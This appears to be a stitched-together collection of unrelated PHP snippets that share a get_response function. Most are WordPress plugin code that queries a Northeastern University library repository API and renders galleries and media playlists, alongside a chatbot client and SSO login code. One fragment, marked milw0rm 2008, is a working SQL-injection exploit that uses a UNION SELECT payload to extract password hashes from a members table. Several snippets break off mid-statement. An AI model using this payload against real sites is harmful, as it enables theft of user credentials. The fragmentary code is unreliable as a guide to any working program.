function item_ajax_handler() { // Handle the ajax request check_ajax_referer('item_drs'); $url = "https://repository.library.northeastern.edu/api/v1/files/"; if ($_POST['pid']) { $url .= $_POST['pid']; } $data = get_response($url); $data = json_decode($data, true); if ($data['canonical_object'][0][1] == 'Video File' || $data['canonical_object'][0][1] == 'Audio File') { $data['av_pid'] = $data['canonical_object'][0][0]; $data['av_pid'] = explode("/", $data['av_pid']); $data['av_pid'] = end($data['av_pid']); $data['encoded_av_pid'] = str_replace(':', '%3A', $data['av_pid']); $data['av_dir'] = substr(md5("info:fedora/" . $data['av_pid'] . "/content/content.0"), 0, 2); $data['av_type'] = $data['canonical_object'][0][0]; foreach ($data['content_objects'] as $key => $val) { if ($val[1] == 'Master Image') { $data['av_poster'] = $val[0]; } } if ($data['canonical_object'][0][1] == 'Video File') { $data['av_provider'] = 'video'; $data['av_type'] = "MP4"; } if ($data['canonical_object'][0][1] == 'Audio File') { $data['av_provider'] = 'sound'; $data['av_type'] = "MP3"; } } wp_send_json(json_encode($data)); }
function import_ajax_handler() { global $data; $data = array(); $data['count'] = 0; $data['existing_count'] = 0; $data['site_url'] = site_url(); $data['objects'] = array(); // global $email; // Handle the ajax request check_ajax_referer('import_drs'); $collection_pid = $_POST['pid']; $collection_pid = explode("/", $collection_pid); $collection_pid = end($collection_pid); $url = "https://repository.library.northeastern.edu/api/v1/export/" . $collection_pid . "?per_page=2&page=1"; $drs_data = get_response($url); $json = json_decode($drs_data); // $email = ''; if ($json->pagination->table->total_count > 0) { $email .= $json->pagination->table->total_count; for ($x = 1; $x <= $json->pagination->table->num_pages; $x++) { $url = "https://repository.library.northeastern.edu/api/v1/export/" . $collection_pid . "?per_page=2&page=" . $x; $drs_data = get_response($url); $json = json_decode($drs_data); drstk_get_image_data($json); } } else { $data = json_decode($drs_data); } wp_send_json(json_encode($data)); }
function get_this_breadcrumb($breadcrumb_url) { global $breadcrumb_html; $breadcrumb_data = get_response($breadcrumb_url); $breadcrumb_data = json_decode($breadcrumb_data); $doc = $breadcrumb_data->response->response->docs[0]; parse_this_breadcrumb($doc); }
function main($cids) { $url = 'http://www.789wz.com/Welcome/get_msg'; foreach ($cids as $cid) { $response = get_response($url, $cid); acces_log($cid); } acces_log(date("Y-m-d H:i:s")); }
function item_admin_ajax_handler() { $data = array(); // Handle the ajax request check_ajax_referer('item_admin_nonce'); $url = "https://repository.library.northeastern.edu/api/v1/files/" . $_POST['pid']; $data = get_response($url); $data = json_decode($data); wp_send_json(json_encode($data)); }
function get_item_title() { global $item_pid, $data, $url; $url = "https://repository.library.northeastern.edu/api/v1/files/" . $item_pid; $data = get_response($url); $data = json_decode($data); if (check_for_bad_data()) { return false; } echo $data->mods->Title[0]; }
function breadcrumb_ajax_handler() { // Handle the ajax request $collection = drstk_get_pid(); check_ajax_referer('breadcrumb_drs'); $url = "https://repository.library.northeastern.edu/api/v1/search/" . $collection . "?"; if ($_POST['pid']) { $url .= 'f["id"][]=' . $_POST['pid']; } $data = get_response($url); $data = json_decode($data, true); $data['site_url'] = site_url(); wp_send_json(json_encode($data)); }
function browse_ajax_handler() { // Handle the ajax request global $errors; check_ajax_referer('browse_drs'); $collection = drstk_get_pid(); if ($collection == '' || $collection == NULL) { $data = array('error' => $errors['search']['missing_collection']); $data = json_encode($data); wp_send_json($data); wp_die(); } elseif ($collection == "https://repository.library.northeastern.edu/collections/neu:1") { $data = array('error' => $errors['search']['missing_collection']); $data = json_encode($data); wp_send_json($data); wp_die(); } else { if (isset($_POST['params']['collection'])) { $url = "https://repository.library.northeastern.edu/api/v1/search/" . $_POST['params']['collection'] . "?"; } else { $url = "https://repository.library.northeastern.edu/api/v1/search/" . $collection . "?"; } if (isset($_POST['params']['q'])) { $url .= "q=" . urlencode(sanitize_text_field($_POST['params']['q'])); } if (isset($_GET['q'])) { $url .= "q=" . urlencode(sanitize_text_field($_GET['q'])); } if (isset($_POST['params']['per_page'])) { $url .= "&per_page=" . $_POST['params']['per_page']; } if (isset($_POST['params']['page'])) { $url .= "&page=" . $_POST['params']['page']; } if (isset($_POST['params']['f'])) { foreach ($_POST['params']['f'] as $facet => $facet_val) { $url .= "&f[" . $facet . "][]=" . urlencode($facet_val); } } if (isset($_POST['params']['sort'])) { $url .= "&sort=" . $_POST['params']['sort']; } $data = get_response($url); wp_send_json($data); wp_die(); } }
function drstk_add_tile_gallery() { check_ajax_referer('tile_ajax_nonce'); $col_pid = drstk_get_pid(); $url = "https://repository.library.northeastern.edu/api/v1/search/" . $col_pid . "?per_page=20"; if ($_POST['params']['q']) { $url .= "&q=" . urlencode(sanitize_text_field($_POST['params']['q'])); } if ($_POST['params']['page']) { $url .= "&page=" . $_POST['params']['page']; } $data = get_response($url); $json = json_decode($data); if ($json->error) { wp_send_json(json_encode("There was an error: " . $json->error)); return; } wp_send_json($data); }
function browse_ajax_handler() { // Handle the ajax request check_ajax_referer('browse_drs'); $collection = drstk_get_pid(); if ($collection == '' || $collection == NULL) { $data = array('error' => 'Please enter a correct collection or community id in order to configure the search and browse functionality. Please proceed to /wp-admin to enter a Collection id'); $data = json_encode($data); wp_send_json($data); } elseif ($collection == "https://repository.library.northeastern.edu/collections/neu:1") { $data = array('error' => 'Please enter a correct collection or community id in order to configure the search and browse functionality. Please proceed to /wp-admin to enter a Collection id'); $data = json_encode($data); wp_send_json($data); } else { if ($_POST['params']['collection']) { $url = "https://repository.library.northeastern.edu/api/v1/search/" . $_POST['params']['collection'] . "?"; } else { $url = "https://repository.library.northeastern.edu/api/v1/search/" . $collection . "?"; } if ($_POST['params']['q']) { $url .= "q=" . urlencode(sanitize_text_field($_POST['params']['q'])); } if ($_GET['q']) { $url .= "q=" . urlencode(sanitize_text_field($_GET['q'])); } if ($_POST['params']['per_page']) { $url .= "&per_page=" . $_POST['params']['per_page']; } if ($_POST['params']['page']) { $url .= "&page=" . $_POST['params']['page']; } if ($_POST['params']['f']) { foreach ($_POST['params']['f'] as $facet => $facet_val) { $url .= "&f[" . $facet . "][]=" . urlencode($facet_val); } } if ($_POST['params']['sort']) { $url .= "&sort=" . $_POST['params']['sort']; } $data = get_response($url); wp_send_json($data); } }
function get_json_data_from_neu_item() { check_ajax_referer('item_admin_nonce'); // The $_REQUEST contains all the data sent via ajax if (isset($_REQUEST)) { $item = $_REQUEST['item']; //Setting the correct URL $url = "https://repository.library.northeastern.edu/api/v1/files/" . $item; //Adding response to data $data = get_response($url); $json = json_decode($data); if (isset($json->error)) { wp_send_json(json_encode("There was an error: " . $json->error)); return; } //returning json echo wp_send_json($json); // debugging purposes // print_r($_REQUEST); } die; }
<?php function get_response($URL, $context) { /* Initializing CURL */ $curlHandle = curl_init(); /* The URL to be downloaded is set */ curl_setopt($curlHandle, CURLOPT_URL, $URL); curl_setopt($curlHandle, CURLOPT_HEADER, false); curl_setopt($curlHandle, CURLOPT_HTTPHEADER, array("Content-Type: text/xml")); curl_setopt($curlHandle, CURLOPT_POSTFIELDS, $context); curl_setopt($curlHandle, CURLOPT_RETURNTRANSFER, true); /* Now execute the CURL, download the URL specified */ $response = curl_exec($curlHandle); return $response; } $data = array('title' => 'abc', 'content' => 'Testing', 'status' => '4', 'date_time' => time()); $_json = json_encode($data); echo get_response('http://127.0.0.1/dev/jd/github/wp01/insert_data.php', $_json);
function drstk_tiles($atts) { $imgs = explode(", ", $atts['id']); $img_html = ""; foreach ($imgs as $img) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $img; $data = get_response($url); $data = json_decode($data); $type = $atts['type']; if (!$data->error) { $pid = $data->pid; if (isset($atts['image-size'])) { $num = $atts['image-size'] - 1; } else { $num = 4; } $thumbnail = $data->thumbnails[$num]; if (isset($atts['metadata'])) { $img_metadata = ''; $metadata = explode(",", $atts['metadata']); foreach ($metadata as $field) { $this_field = $data->mods->{$field}; if (isset($this_field[0])) { $img_metadata .= $this_field[0] . "<br/>"; } } } if ($type == 'pinterest') { $img_html .= "<div class='brick'><a href='" . site_url() . "/item/" . $pid . "'><img src='" . $thumbnail . "'></a><div class='info'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>"; } if ($type == 'even-row' || $type == 'square') { $img_html .= "<div class='cell' data-thumbnail='" . $thumbnail . "'><div class='info'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>"; } $img_html .= "<div class='hidden'>"; $meta = $data->mods; foreach ($meta as $field) { if (is_array($field)) { foreach ($field as $field_val) { $img_html .= $field_val . "<br/>"; } } else { $img_html .= $field[0] . "<br/>"; } } $img_html .= "</div>"; $img_html .= "</div></div>"; } else { $img_html = "There was an error"; } } $shortcode = "<div class='freewall' id='freewall' data-type='" . $type . "'"; if (isset($atts['cell-height'])) { $shortcode .= " data-cell-height='" . $atts['cell-height'] . "'"; } else { $shortcode .= " data-cell-height='200'"; } if (isset($atts['cell-width'])) { $shortcode .= " data-cell-width='" . $atts['cell-width'] . "'"; } else { $shortcode .= " data-cell-width='200'"; } if (isset($atts['text-align'])) { $shortcode .= " data-text-align='" . $atts['text-align'] . "'"; } else { $shortcode .= " data-text-align='center'"; } $shortcode .= ">" . $img_html . "</div>"; return $shortcode; }
<?php require "settings.php"; require "functions.php"; // Split the variable into two, $domain & $port. list($domain, $port) = filter_domain($_GET["domain"]); // Check the site and get the response code. $data = get_response($domain, $port); // Caluate and format the time taken to connect. $time = round($data["time"], 3); $id = gen_id($data); $title = gen_title($id, $domain); $html = gen_html($id, $domain, $port, $time, $data["code"]); ?> <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"/> <title><?php echo $title . " // isitup.org"; // display the dynamic title ?> </title> <!-- Hi r/ProgrammerHumor :wave:! --> <!-- Meta Info --> <meta name="description" content="The availability results for <?php echo $domain; ?>
<?php /* * API Pública educ.ar * * Ejemplo de llamado a endpoint: Obtención de capitulos de una serie * */ $service_url = 'https://labs.educ.ar/1.0/videos'; $api_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $fields = '*'; $filters = ['serie' => 'Ciencia vs. Ficción']; $params = ['app_key' => $api_key, 'fields' => $fields, 'filters' => $filters, 'pretty' => true, 'limit' => 50]; function get_response($url) { $options = array(CURLOPT_RETURNTRANSFER => false, CURLOPT_HEADER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 10, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120); $url = str_replace(" ", "%20", $url); $ch = curl_init($url); curl_setopt_array($ch, $options); $content = curl_exec($ch); curl_close($ch); return $content; } if (!function_exists('curl_version')) { die('Se necesita tener instalada la extensión cURL'); } $request = $service_url . '/' . json_encode($params, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); echo $request . "\n"; $response = get_response($request); echo $response;
function drstk_collection_playlist($atts) { $cache = get_transient(md5('PREFIX' . serialize($atts))); if ($cache) { return $cache; } $collection = explode(', ', $atts['id']); $playlists = ''; if (isset($atts['height'])) { $height = $atts['height']; } else { $height = '270'; } if (isset($atts['width'])) { $width = $atts['width']; } else { $width = '100%'; } foreach ($collection as $video) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $video; $data = get_response($url); $data = json_decode($data); $poster; if (!isset($data->error)) { $poster[] = $data->thumbnails[4]; $this_poster = $data->thumbnails[4]; $title = $data->mods->Title[0]; foreach ($data->canonical_object as $key => $val) { $pid = $key; $pid = explode("/", $pid); $pid = end($pid); $encoded = str_replace(':', '%3A', $pid); $dir = substr(md5("info:fedora/" . $pid . "/content/content.0"), 0, 2); if ($val == 'Audio File') { $rtmp = 'rtmp://libwowza.neu.edu:1935/vod/_definst_/MP3:datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/info%3Afedora%2F' . $encoded . '%2Fcontent%2Fcontent.0'; $playlist = 'http://libwowza.neu.edu:1935/vod/_definst_/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/MP3:' . urlencode("info%3Afedora%2F" . $encoded . "%2Fcontent%2Fcontent.0") . '/playlist.m3u8'; $type = 'MP3'; $provider = 'audio'; } if ($val == 'Video File') { $rtmp = 'rtmp://libwowza.neu.edu:1935/vod/_definst_/MP4:datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/info%3Afedora%2F' . $encoded . '%2Fcontent%2Fcontent.0'; $playlist = 'http://libwowza.neu.edu:1935/vod/_definst_/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/MP4:' . urlencode("info%3Afedora%2F" . $encoded . "%2Fcontent%2Fcontent.0") . '/playlist.m3u8'; $type = 'MP4'; $provider = 'video'; } } $download = 'download'; $playlists .= '{ sources: [ { file: "' . $rtmp . '"},'; $playlists .= '{ file: "' . $playlist . '"} ], image: "' . $this_poster . '", title: "' . $title . '" },'; } else { return $errors['shortcodes']['fail']; } } $cache_output = '<div id="drs-item-video"> <img style="width: 100%;" src="' . $poster[0] . '" /> </div> <script type="text/javascript"> jwplayer.key="gi5wgpwDtAXG4xdj1uuW/NyMsECyiATOBxEO7A=="; jwplayer("drs-item-video").setup({ width: "' . $width . '", height: "' . $height . '", rtmp: { bufferlength: 5 } , fallback: true, listbar: { position: "right", size: 250, layout: "basic" }, playlist: [ ' . $playlists . '] });</script>'; $cache_time = 1000; set_transient(md5('PREFIX' . serialize($atts)), $cache_output, $cache_time * 60); return $cache_output; }
function drstk_tiles($atts) { global $errors; $cache = get_transient(md5('PREFIX' . serialize($atts))); if ($cache) { return $cache; } $imgs = explode(", ", $atts['id']); $img_html = ""; foreach ($imgs as $img) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $img; $data = get_response($url); $data = json_decode($data); $type = $atts['type']; if (!isset($data->error)) { $pid = $data->pid; if (isset($atts['image-size'])) { $num = $atts['image-size'] - 1; } else { $num = 4; } $thumbnail = $data->thumbnails[$num]; if (isset($atts['metadata'])) { $img_metadata = ''; $metadata = explode(",", $atts['metadata']); foreach ($metadata as $field) { $this_field = $data->mods->{$field}; if (isset($this_field[0])) { $img_metadata .= $this_field[0] . "<br/>"; } } } if ($type == 'pinterest-below' || $type == 'pinterest') { $img_html .= "<div class='brick'><a href='" . site_url() . "/item/" . $pid . "'><img src='" . $thumbnail . "'></a><div class='info wp-caption-text'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>"; } if ($type == 'pinterest-hover') { $img_html .= "<div class='brick brick-hover'><img src='" . $thumbnail . "' style='width:100%'><div class='info wp-caption-text'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>"; } if ($type == 'even-row' || $type == 'square') { $img_html .= "<div class='cell' data-thumbnail='" . $thumbnail . "'><div class='info wp-caption-text'><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a>"; } $img_html .= "<div class=\"hidden\">"; $meta = $data->mods; foreach ($meta as $field) { if (is_array($field)) { foreach ($field as $field_val) { $img_html .= $field_val . "<br/>"; } } else { $img_html .= $field[0] . "<br/>"; } } $img_html .= "</div>"; $img_html .= "</div></div>"; } else { $img_html = $errors['shortcodes']['fail']; } } $shortcode = "<div class='freewall' id='freewall' data-type='" . $type . "'"; if (isset($atts['cell-height'])) { $shortcode .= " data-cell-height='" . $atts['cell-height'] . "'"; } else { $shortcode .= " data-cell-height='200'"; } if (isset($atts['cell-width'])) { $shortcode .= " data-cell-width='" . $atts['cell-width'] . "'"; } else { $shortcode .= " data-cell-width='200'"; } if (isset($atts['text-align'])) { $shortcode .= " data-text-align='" . $atts['text-align'] . "'"; } else { $shortcode .= " data-text-align='center'"; } $shortcode .= ">" . $img_html . "</div>"; $cache_output = $shortcode; $cache_time = 1000; set_transient(md5('PREFIX' . serialize($atts)), $cache_output, $cache_time * 60); return $shortcode; }
$say = urlencode($_REQUEST['say']); } else { $say = "hi"; $convo_id = session_id(); } $response = ''; $responseXML = ''; $bot_id = 1; $format = "xml"; $thisFileURL = $_SERVER['SCRIPT_NAME']; $chatbotURLpath = str_replace('/gui/xml/index.php', '/chatbot', $thisFileURL); define("CHATBOT_URL_PATH", $chatbotURLpath); $send = "http://" . $_SERVER['HTTP_HOST'] . CHATBOT_URL_PATH . "/conversation_start.php?say={$say}&convo_id={$convo_id}&bot_id={$bot_id}&format={$format}"; #$X = file_put_contents('URL.txt', "$send\r\n",FILE_APPEND); #die(); $sXML = trim(get_response($send)); //just output as an example $responseXML = htmlentities($sXML); $responseXML = str_replace("\n\t", "<br/> ", $responseXML); $responseXML = str_replace("\n", "<br/> ", $responseXML); $xml = new SimpleXMLElement($sXML); $count = 0; foreach ($xml->children() as $child) { $childName = $child->getName(); switch ($childName) { case 'user_name': $user_name = $child; break; case 'bot_name': $bot_name = $child; break;
$socket = fsockopen(gethostbyname($host), 80); if (!$socket) { echo "[-]Error contacting {$host}.\r\n"; exit; } fputs($socket, $packet); $response = ''; while (!feof($socket)) { $response .= fgets($socket); } fclose($socket); } $host = $argv[1]; $path = $argv[2]; $id = $argv[3]; $packet = "GET " . $path . "index.php?cid=-1%27+union+select+1,concat(0x78306b73746572,password,0x78306b73746572)+from+dcp5_members+where+uid=" . $id . "/*"; $packet .= "Host: " . $host . "\r\n"; $packet .= "Connection: Close\r\n\r\n"; get_response($packet); if (strstr($response, "x0kster")) { $hash = explode("x0kster", $response, 32); echo "[+]Ok, the hash is : {$hash['1']}\r\n"; die; } else { echo "[-]Exploit filed, maybe fixed or incorrect id.\r\n"; die; } ?> # milw0rm.com [2008-01-06]
} else { $text = ''; } if ($doctype == 'witness' and $divtype == 'title') { echo "<br /><br /><span style='color: green; font-weight: bold;'>SKIPPING '" . $filename . "' (links to a .inc.php file and is not needed)</span>"; $not_needed++; continue; } // Determine the URL of the file on the website. $url = construct_url($filename, $divtype, $doctype); // Determine whether the requested URL exists. $code = get_response($url); // If response code is not 200 or 404, then we know there was a connection error. // If this is the case, then retry getting the document again. if ($code != '200' and $code != '404') { $code = get_response($url); } if ($code == '404') { echo "<br /><br /><span style='color: red; font-weight: bold;'>FAILED '" . $filename . "' (missing)</span>"; $missing_count++; continue; } elseif ($code != '200') { echo "<br /><br /><span style='color: red; font-weight: bold;'>FAILED '" . $filename . "' (could not connect to the server)</span>"; $connectivity_error++; continue; } // Constrcut an SQL query to insert the document into the MySQL database. $insert = "INSERT INTO `" . mysql_real_escape_string($database) . "`.`documents` (\n\t\t\t`title`,\n\t\t\t`doctype`,\n\t\t\t`divtype`,\n\t\t\t`subtype`,\n\t\t\t`rhyme`,\n\t\t\t`meter`,\n\t\t\t`ispoem`,\n\t\t\t`text`,\n\t\t\t`url`\n\t\t) VALUES (\n\t\t\t'" . mysql_real_escape_string($title) . "',\n\t\t\t'" . mysql_real_escape_string($doctype) . "',\n\t\t\t'" . mysql_real_escape_string($divtype) . "',\n\t\t\t'" . mysql_real_escape_string($subtype) . "',\n\t\t\t'" . mysql_real_escape_string($rhyme) . "',\n\t\t\t'" . mysql_real_escape_string($meter) . "',\n\t\t\t'" . mysql_real_escape_string($ispoem) . "',\n\t\t\t'" . mysql_real_escape_string($text) . "',\n\t\t\t'" . mysql_real_escape_string($url) . "'\n\t\t);"; // Perform the mysql query. if (mysql_query($insert)) { echo "<br /><br /><span style='color: green; font-weight: bold;'>SUCCESS: '" . $filename . "'</span>";
function drstk_gallery($atts) { if ($atts['id']) { $images = explode(", ", $atts['id']); $img_html = ''; $height = $width = 0; foreach ($images as $id) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $id; $data = get_response($url); $data = json_decode($data); if (!$data->error) { $pid = $data->pid; if (isset($atts['image-size'])) { $num = $atts['image-size'] - 1; } else { $num = 4; } $thumbnail = $data->thumbnails[$num]; $this_height = getimagesize($thumbnail); $this_height = $this_height[1]; if ($this_height > $height) { $height = $this_height; } $this_width = getimagesize($thumbnail); $this_width = $this_width[0]; if ($this_width > $width) { $width = $this_width; } $title = $data->mods->Title[0]; $creator = $data->mods->Creator[0]; $img_html .= "<div class='item'><a href='" . site_url() . "/item/" . $pid . "'><img src='" . $thumbnail . "' alt='" . $title . "'></a>"; if ($atts['caption'] && $atts['caption'] == "on") { $img_metadata = ""; if (isset($atts['metadata'])) { $metadata = explode(",", $atts['metadata']); foreach ($metadata as $field) { $this_field = $data->mods->{$field}; if (isset($this_field[0])) { $img_metadata .= $this_field[0] . "<br/>"; } } } $img_html .= "<div class='carousel-caption'"; if (isset($atts['caption-align']) || isset($atts['caption-position'])) { $img_html .= "style='"; if (isset($atts['caption-align'])) { $img_html .= "text-align:" . $atts['caption-align']; } if (isset($atts['caption-position'])) { $img_html .= "; position:" . $atts['caption-position']; } $img_html .= "'"; } $img_html .= "><a href='" . site_url() . "/item/" . $pid . "'>" . $img_metadata . "</a></div>"; $img_html .= "<div class='hidden'>"; $meta = $data->mods; foreach ($meta as $field) { if (is_array($field)) { foreach ($field as $field_val) { $img_html .= $field_val . "<br/>"; } } else { $img_html .= $field[0] . "<br/>"; } } $img_html .= "</div>"; } $img_html .= "</div>"; } else { $img_html .= "There was an error"; } } if (isset($atts['speed']) && $atts['speed'] > 1) { $interval = $atts['speed']; } if (isset($atts['auto']) && $atts['auto'] == 'on') { if (!isset($interval)) { $interval = 5000; } } else { if (isset($atts['auto']) && $atts['auto'] == 'off') { $interval = 'false'; } } $rand = rand(); $gallery_html = '<div class="carousel slide" id="carousel-' . $rand . '" data-height="' . $height . '" data-width="' . $width . '" data-interval="' . $interval . '"'; if (isset($atts['max-height'])) { $gallery_html .= " data-max-height='" . $atts['max-height'] . "'"; } if (isset($atts['max-width'])) { $gallery_html .= " data-max-width='" . $atts['max-width'] . "'"; } $gallery_html .= '>'; if ($atts['pager'] && $atts['pager'] == 'on') { $gallery_html .= '<ol class="carousel-indicators">'; $i = 0; foreach ($images as $id) { $gallery_html .= '<li data-target="#carousel-' . $rand . '" data-slide-to="' . $i . '" class="'; if ($i == 0) { $gallery_html .= "active"; } $gallery_html .= '"></li>'; $i++; } $gallery_html .= '</ol>'; } $gallery_html .= '<div class="carousel-inner">' . $img_html . '</div>'; if ($atts['nav'] && $atts['nav'] == 'on') { $gallery_html .= '<a class="left carousel-control" href="#carousel-' . $rand . '" role="button" data-slide="prev"><i class="glyphicon-chevron-left fa fa-chevron-left" aria-hidden="true"></i><span class="sr-only">Previous</span></a><a class="right carousel-control" href="#carousel-' . $rand . '" role="button" data-slide="next"><i class="glyphicon-chevron-right fa fa-chevron-right" aria-hidden="true"></i><span class="sr-only">Next</span></a>'; } $gallery_html .= '</div>'; return $gallery_html; } }
function drstk_collection_playlist($atts) { global $errors; $cache = get_transient(md5('DRSTK' . serialize($atts))); if ($cache) { return $cache; } $collection = array_map('trim', explode(',', $atts['id'])); $playlists = ''; if (isset($atts['height']) && $atts['height'] != 0) { $height = $atts['height']; } else { $height = '270'; } if (isset($atts['width']) && $atts['width'] != 0) { $width = $atts['width']; } else { $width = '100%'; } if (isset($atts['aspectratio'])) { $aspectratio = $atts['aspectratio']; } else { $aspectratio = '16:9'; } if (isset($atts['skin'])) { $skin = $atts['skin']; } if (isset($atts['listbarwidth']) && $atts['listbarwidth'] != 0) { $listbarwidth = $atts['listbarwidth']; } else { $listbarwidth = '250'; } foreach ($collection as $video) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $video; $data = get_response($url); $data = json_decode($data); $poster; if (!isset($data->error)) { $poster[] = $data->thumbnails[4]; $this_poster = $data->thumbnails[4]; $title = $data->mods->Title[0]; foreach ($data->canonical_object as $key => $val) { $pid = $key; $pid = explode("/", $pid); $pid = end($pid); $encoded = str_replace(':', '%3A', $pid); $dir = substr(md5("info:fedora/" . $pid . "/content/content.0"), 0, 2); $user_agent = $_SERVER['HTTP_USER_AGENT']; if (stripos($user_agent, 'Chrome') !== false) { $full_pid = "info%3Afedora%2F" . $encoded . "%2Fcontent%2Fcontent.0"; } elseif (stripos($user_agent, 'Safari') !== false) { $full_pid = urlencode("info%3Afedora%2F" . $encoded . "%2Fcontent%2Fcontent.0"); } else { $full_pid = "info%3Afedora%2F" . $encoded . "%2Fcontent%2Fcontent.0"; } if ($val == 'Audio File') { $rtmp = 'rtmp://libwowza.neu.edu:1935/vod/_definst_/MP3:datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/info%3Afedora%2F' . $encoded . '%2Fcontent%2Fcontent.0'; $playlist = 'http://libwowza.neu.edu:1935/vod/_definst_/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/MP3:' . $full_pid . '/playlist.m3u8'; $no_flash = 'http://libwowza.neu.edu/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/' . urlencode($full_pid); $type = 'MP3'; $provider = 'sound'; } if ($val == 'Video File') { $rtmp = 'rtmp://libwowza.neu.edu:1935/vod/_definst_/MP4:datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/info%3Afedora%2F' . $encoded . '%2Fcontent%2Fcontent.0'; $playlist = 'http://libwowza.neu.edu:1935/vod/_definst_/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/MP4:' . $full_pid . '/playlist.m3u8'; $no_flash = 'http://libwowza.neu.edu/datastreamStore/cerberusData/newfedoradata/datastreamStore/' . $dir . '/' . urlencode($full_pid); $type = 'MP4'; $provider = 'video'; } } $download = 'download'; $playlists .= '{ sources: [ '; $playlists .= '{ file: "' . $rtmp . '"}, { file: "' . $playlist . '"},'; $playlists .= ' { file: "' . $no_flash . '", type: "' . strtolower($type) . '" } ], image: "' . $this_poster . '", title: "' . $title . '" },'; } else { return $errors['shortcodes']['fail']; } } $pid_selector = "drs-item-video-" . str_replace(':', "-", $pid); $cache_output = '<div id="' . $pid_selector . '"> <img style="width: 100%;" src="' . $poster[0] . '" /> </div> <script type="text/javascript"> jwplayer.key="gi5wgpwDtAXG4xdj1uuW/NyMsECyiATOBxEO7A=="; var primary = "flash"; if (typeof swfobject == "undefined" || swfobject.getFlashPlayerVersion().major == 0) { primary = "html5"; } jQuery(document).ready(function($){ jwplayer("' . $pid_selector . '").setup({ width: "' . $width . '", height: "' . $height . '", rtmp: { bufferlength: 5 } , image: "' . $this_poster . '", provider: "' . $provider . '", fallback: "false", androidhls: "true", aspectratio:"' . $aspectratio . '",'; if (isset($skin)) { $cache_output .= 'skin: "' . $skin . '",'; } $cache_output .= 'primary: primary,'; if (count($collection) > 1) { $cache_output .= 'listbar: { position: "right", size: ' . $listbarwidth . ', layout: "basic" },'; } $cache_output .= 'playlist: [ ' . $playlists . '] }); var errorMessage = function(e) { $("#drs-item-video").before("<div class=\'alert alert-warning\'>' . $errors['item']['jwplayer_fail'] . '<br /><strong>Error Message:</strong> "+e.message+"</div>"); }; jwplayer().onError(errorMessage); jwplayer().onSetupError(errorMessage); jwplayer().onBuffer(function() { theTimeout = setTimeout(function(e) { errorMessage(e); }, 5000); }); }); </script>'; $cache_time = 1000; set_transient(md5('DRSTK' . serialize($atts)), $cache_output, $cache_time * 60); return $cache_output; }
function remote_login($user_login, $user) { $user_login = get_chatwee_user_login(); $chatId = get_option('chatwee-settings-group[clientid]'); $clientKey = get_option('chatwee-settings-group[keyapi]'); $isAdmin = 0; if (is_super_admin($user->ID) || checkIfUserIsAdmin($user->ID) || belong_to_moderator_group($user->ID)) { $isAdmin = 1; } $ismobile = check_user_agent('mobile') == true ? 1 : 0; $ip = get_the_user_ip(); $avatar = get_avatar_url_for_chatwee($user->ID); if (isset($_COOKIE["chch-SI"])) { remote_logout(); } if (isset($_SESSION['chatwee'][$user_login])) { $previousSessionId = $_SESSION['chatwee'][$user_login]; } else { if (isset($_COOKIE["chch-PSI"])) { $previousSessionId = $_COOKIE["chch-PSI"]; } else { $previousSessionId = null; } } $url = "http://chatwee-api.com/api/remotelogin?chatId=" . $chatId . "&clientKey=" . $clientKey . "&login="******"&isAdmin=" . $isAdmin . "&ipAddress=" . $ip . "&avatar=" . $avatar . "&isMobile=" . $ismobile . "&previousSessionId=" . $previousSessionId; $url = str_replace(' ', '%20', $url); $response = get_response($url); $sessionArray = json_decode($response); if ($sessionArray->errorCode) { update_option('chatwee-settings-group[ssoiserror]', $sessionArray->errorMessage); } else { update_option('chatwee-settings-group[ssoiserror]', ''); } $sessionId = $sessionArray->sessionId; $fullDomain = $_SERVER["HTTP_HOST"]; $isNumericDomain = preg_match('/\\d|"."/', $fullDomain); if ($isNumericDomain || !get_option('chatwee-settings-group[loginallsubdomains]')) { $CookieDomain = $fullDomain; } else { $hostChunks = explode(".", $fullDomain); $hostChunks = array_slice($hostChunks, -2); $CookieDomain = "." . implode(".", $hostChunks); } setcookie("chch-SI", $sessionId, time() + 2592000, "/", $CookieDomain); $_SESSION['chatwee'][$user_login] = $_SESSION['chatwee'][$user_login] == '' ? $sessionId : $_SESSION['chatwee'][$user_login]; }
function get_associated_files() { global $data, $errors, $assoc_meta_options; if (isset($data->associated) && $data->associated != NULL && get_option('drstk_assoc') == 'on') { $associated_html = ''; $title = get_option('drstk_assoc_title') != '' ? get_option('drstk_assoc_title') : 'Associated Files'; $associated_html .= "<div class='panel panel-default assoc_files'><div class='panel-heading'>" . $title . "</div><div class='panel-body'>"; // foreach($data->associated as $assoc_pid => $assoc_title){ //disabling multivalued associated files until a new less resource intensive api call for associated files exists $assoc_pid = key(get_object_vars($data->associated)); //using this just to get the first title $assoc_title = $data->associated->{$assoc_pid}; //using this just to get the first title $url = "https://repository.library.northeastern.edu/api/v1/files/" . $assoc_pid . "?solr_only=true"; $assoc_data = get_response($url); $assoc_data = json_decode($assoc_data); if (check_for_bad_data($assoc_data)) { return false; } else { if (isset($assoc_data->_source->fields_thumbnail_list_tesim)) { $associated_html .= "<a href='" . drstk_home_url() . 